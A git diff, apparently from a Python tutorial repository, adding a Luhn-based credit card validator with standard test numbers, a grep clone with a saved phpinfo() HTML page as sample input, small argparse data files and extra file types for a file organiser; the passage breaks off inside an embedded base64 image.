\ No newline at end of file
diff --git a/python-standard-library/argparse/data/item1.txt b/python-standard-library/argparse/data/item1.txt
new file mode 100644
index 00000000..02103c6d
--- /dev/null
+++ b/python-standard-library/argparse/data/item1.txt
@@ -0,0 +1 @@
+This is a text file
\ No newline at end of file
diff --git a/python-standard-library/argparse/data/item2.txt b/python-standard-library/argparse/data/item2.txt
new file mode 100644
index 00000000..5d8fb96c
--- /dev/null
+++ b/python-standard-library/argparse/data/item2.txt
@@ -0,0 +1 @@
+Another text file is created in the same directory as the original file.
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md
new file mode 100644
index 00000000..bee74fdd
--- /dev/null
+++ b/python-standard-library/credit-card-validation/README.md
@@ -0,0 +1 @@
+# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python)
\ No newline at end of file
diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py
new file mode 100644
index 00000000..57a82f5b
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_card_validation.py
@@ -0,0 +1,85 @@
+import argparse  # Import argparse for command-line argument parsing
+import re  # Import re for regular expression matching
+
+# Validate credit card number using Luhn Algorithm
+def luhn_algorithm(card_number):
+    def digits_of(n):
+        return [int(d) for d in str(n)]  # Convert each character in the number to an integer
+    
+    digits = digits_of(card_number)  # Get all digits of the card number
+    odd_digits = digits[-1::-2]  # Get digits from the right, skipping one digit each time (odd positions)
+    even_digits = digits[-2::-2]  # Get every second digit from the right (even positions)
+    
+    checksum = sum(odd_digits)  # Sum all odd position digits
+    for d in even_digits:
+        checksum += sum(digits_of(d*2))  # Double each even position digit and sum the resulting digits
+    
+    return checksum % 10 == 0  # Return True if checksum modulo 10 is 0
+
+
+# Function to check credit card number using Luhn's alogorithm
+def check_credit_card_number(card_number):
+    card_number = card_number.replace(' ', '')  # Remove spaces from the card number
+    if not card_number.isdigit():  # Check if the card number contains only digits
+        return False
+    return luhn_algorithm(card_number)  # Validate using the Luhn algorithm
+
+# Function to get the card type based on card number using RegEx
+def get_card_type(card_number):
+    card_number = card_number.replace(' ', '')  # Remove spaces from the card number
+    card_types = {
+        "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$",  # Visa: Starts with 4, length 13 or 16
+        "MasterCard": r"^5[1-5][0-9]{14}$",  # MasterCard: Starts with 51-55, length 16
+        "American Express": r"^3[47][0-9]{13}$",  # AmEx: Starts with 34 or 37, length 15
+        "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$",  # Discover: Starts with 6011 or 65, length 16
+        "JCB": r"^(?:2131|1800|35\d{3})\d{11}$",  # JCB: Starts with 2131, 1800, or 35, length 15 or 16
+        "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$",  # Diners Club: Starts with 300-305, 36, or 38, length 14
+        "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$",  # Maestro: Various starting patterns, length 12-19
+        "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$"  # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19
+    }
+    
+    for card_type, pattern in card_types.items():
+        if re.match(pattern, card_number):  # Check if card number matches the pattern
+            return card_type
+    return "Unknown"  # Return Unknown if no pattern matches
+
+
+# Processing a file containing card numbers.
+def process_file(file_path):
+   
+    try:
+        with open(file_path, 'r') as file:  # Open the file for reading
+            card_numbers = file.readlines()  # Read all lines from the file
+        results = {}
+        for card_number in card_numbers:
+            card_number = card_number.strip()  # Remove any leading/trailing whitespace
+            is_valid = check_credit_card_number(card_number)  # Validate card number
+            card_type = get_card_type(card_number)  # Detect card type
+            results[card_number] = (is_valid, card_type)  # Store result
+        return results
+    except Exception as e:
+        print(f"Error reading file: {e}")  # Print error message if file cannot be read
+        return None
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.")
+    parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.")  # Argument for single card number
+    parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.")  # Argument for file input
+    
+    args = parser.parse_args()  # Parse command-line arguments
+    
+    if args.number:
+        is_valid = check_credit_card_number(args.number)  # Validate single card number
+        card_type = get_card_type(args.number)  # Detect card type
+        print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.")  # Print result
+    
+    if args.file:
+        results = process_file(args.file)  # Process file with card numbers
+        if results:
+            for card_number, (is_valid, card_type) in results.items():
+                print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.")  # Print results for each card number
+
+# Execute tha main function
+if __name__ == '__main__':
+    main()  
diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt
new file mode 100644
index 00000000..b0a33fe6
--- /dev/null
+++ b/python-standard-library/credit-card-validation/credit_cards.txt
@@ -0,0 +1,3 @@
+4111111111111111
+5555555555554444
+378282246310005
\ No newline at end of file
diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py
index 1fc26931..9a50058c 100644
--- a/python-standard-library/extension-separator/extension_separator.py
+++ b/python-standard-library/extension-separator/extension_separator.py
@@ -11,19 +11,24 @@
     "ico": "images",
     "gif": "images",
     "svg": "images",
+    "jfif": "images",
     "sql": "sql",
     "exe": "programs",
     "msi": "programs",
     "pdf": "pdf",
+    "epub": "epub",
     "xlsx": "excel",
     "csv": "excel",
     "rar": "archive",
     "zip": "archive",
     "gz": "archive",
     "tar": "archive",
+    "7z": "archive",
     "docx": "word",
     "torrent": "torrent",
     "txt": "text",
+    "log": "text",
+    "md": "text",
     "ipynb": "python",
     "py": "python",
     "pptx": "powerpoint",
@@ -34,10 +39,12 @@
     "m3u8": "video",
     "webm": "video",
     "ts": "video",
+    "avi": "video",
     "json": "json",
     "css": "web",
     "js": "web",
     "html": "web",
+    "webp": "web",
     "apk": "apk",
     "sqlite3": "sqlite3",
 }
@@ -62,4 +69,8 @@
             dst = os.path.join(path, folder_name, basename)
             if verbose:
                 print(f"[*] Moving {file} to {dst}")
-            shutil.move(file, dst)
\ No newline at end of file
+            try:
+                shutil.move(file, dst)
+            except Exception as e:
+                print(f"[!] Error: {e}")
+                continue
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md
new file mode 100644
index 00000000..e6023461
--- /dev/null
+++ b/python-standard-library/grep-clone/README.md
@@ -0,0 +1 @@
+# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python)
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py
new file mode 100644
index 00000000..b3f3fa14
--- /dev/null
+++ b/python-standard-library/grep-clone/grep_python.py
@@ -0,0 +1,33 @@
+# Import the necessary libraries.
+import re, sys
+from colorama import init, Fore
+
+# Initialize colorama.
+init()
+
+# Grep function.
+def grep(pattern, filename):
+    try:
+        found_match = False
+        with open(filename, 'r') as file:
+            for line in file:
+                if re.search(pattern, line):
+                    # Print matching lines in green.
+                    print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability.
+                    found_match = True
+        if not found_match:
+            # Print message in red if no content is found.
+            print(Fore.RED + f"No content found matching the pattern '{pattern}'.")
+    except FileNotFoundError:
+        # Print error message in red if the file is not found.
+        print(Fore.RED + f"File '{filename}' not found.")
+
+
+if len(sys.argv) != 3:
+    # Print usage message in red if the number of arguments is incorrect.
+    print(Fore.RED + "Usage: python grep_python.py <pattern> <filename>")
+    sys.exit(1)
+
+pattern = sys.argv[1]
+filename = sys.argv[2]
+grep(pattern, filename)
diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php
new file mode 100644
index 00000000..6d4df079
--- /dev/null
+++ b/python-standard-library/grep-clone/phpinfo.php
@@ -0,0 +1,800 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml"><head>
+<style type="text/css">
+body {background-color: #fff; color: #222; font-family: sans-serif;}
+pre {margin: 0; font-family: monospace;}
+a:link {color: #009; text-decoration: none; background-color: #fff;}
+a:hover {text-decoration: underline;}
+table {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;}
+.center {text-align: center;}
+.center table {margin: 1em auto; text-align: left;}
+.center th {text-align: center !important;}
+td, th {border: 1px solid #666; font-size: 75%; vertical-align: baseline; padding: 4px 5px;}
+th {position: sticky; top: 0; background: inherit;}
+h1 {font-size: 150%;}
+h2 {font-size: 125%;}
+.p {text-align: left;}
+.e {background-color: #ccf; width: 300px; font-weight: bold;}
+.h {background-color: #99c; font-weight: bold;}
+.v {background-color: #ddd; max-width: 300px; overflow-x: auto; word-wrap: break-word;}
+.v i {color: #999;}
+img {float: right; border: 0;}
+hr {width: 934px; background-color: #ccc; border: 0; height: 1px;}
+</style>
+<title>PHP 7.4.3-4ubuntu2.20 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
+<body><div class="center">
+<table>
+<tr class="h"><td>
+<a href="http://www.php.net/"><img border="0" src="data:image/png;base64,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" alt="PHP logo" /></a><h1 class="p">PHP Version 7.4.3-4ubuntu2.20</h1>
+</td></tr>
+</table>
+<table>
+<tr><td class="e">System </td><td class="v">Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64 </td></tr>
+<tr><td class="e">Build Date </td><td class="v">Feb 21 2024 13:54:34 </td></tr>
+<tr><td class="e">Server API </td><td class="v">CGI/FastCGI </td></tr>
+<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>
+<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/etc/php/7.4/cgi </td></tr>
+<tr><td class="e">Loaded Configuration File </td><td class="v">/etc/php/7.4/cgi/php.ini </td></tr>
+<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/etc/php/7.4/cgi/conf.d </td></tr>
+<tr><td class="e">Additional .ini files parsed </td><td class="v">/etc/php/7.4/cgi/conf.d/10-opcache.ini,
+/etc/php/7.4/cgi/conf.d/10-pdo.ini,
+/etc/php/7.4/cgi/conf.d/15-xml.ini,
+/etc/php/7.4/cgi/conf.d/20-calendar.ini,
+/etc/php/7.4/cgi/conf.d/20-ctype.ini,
+/etc/php/7.4/cgi/conf.d/20-dom.ini,
+/etc/php/7.4/cgi/conf.d/20-exif.ini,
+/etc/php/7.4/cgi/conf.d/20-ffi.ini,
+/etc/php/7.4/cgi/conf.d/20-fileinfo.ini,
+/etc/php/7.4/cgi/conf.d/20-ftp.ini,
+/etc/php/7.4/cgi/conf.d/20-gettext.ini,
+/etc/php/7.4/cgi/conf.d/20-iconv.ini,
+/etc/php/7.4/cgi/conf.d/20-json.ini,
+/etc/php/7.4/cgi/conf.d/20-phar.ini,
+/etc/php/7.4/cgi/conf.d/20-posix.ini,
+/etc/php/7.4/cgi/conf.d/20-readline.ini,
+/etc/php/7.4/cgi/conf.d/20-shmop.ini,
+/etc/php/7.4/cgi/conf.d/20-simplexml.ini,
+/etc/php/7.4/cgi/conf.d/20-sockets.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvsem.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvshm.ini,
+/etc/php/7.4/cgi/conf.d/20-tokenizer.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlreader.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini,
+/etc/php/7.4/cgi/conf.d/20-xsl.ini,
+/etc/php/7.4/cgi/conf.d/99-academy.ini
+ </td></tr>
+<tr><td class="e">PHP API </td><td class="v">20190902 </td></tr>
+<tr><td class="e">PHP Extension </td><td class="v">20190902 </td></tr>
+<tr><td class="e">Zend Extension </td><td class="v">320190902 </td></tr>
+<tr><td class="e">Zend Extension Build </td><td class="v">API320190902,NTS </td></tr>
+<tr><td class="e">PHP Extension Build </td><td class="v">API20190902,NTS </td></tr>
+<tr><td class="e">Debug Build </td><td class="v">no </td></tr>
+<tr><td class="e">Thread Safety </td><td class="v">disabled </td></tr>
+<tr><td class="e">Zend Signal Handling </td><td class="v">enabled </td></tr>
+<tr><td class="e">Zend Memory Manager </td><td class="v">enabled </td></tr>
+<tr><td class="e">Zend Multibyte Support </td><td class="v">disabled </td></tr>
+<tr><td class="e">IPv6 Support </td><td class="v">enabled </td></tr>
+<tr><td class="e">DTrace Support </td><td class="v">available, disabled </td></tr>
+<tr><td class="e">Registered PHP Streams</td><td class="v">https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar</td></tr>
+<tr><td class="e">Registered Stream Socket Transports</td><td class="v">tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3</td></tr>
+<tr><td class="e">Registered Stream Filters</td><td class="v">zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*</td></tr>
+</table>
+<table>
+<tr class="v"><td>
+<a href="http://www.zend.com/"><img border="0" src="data:image/png;base64,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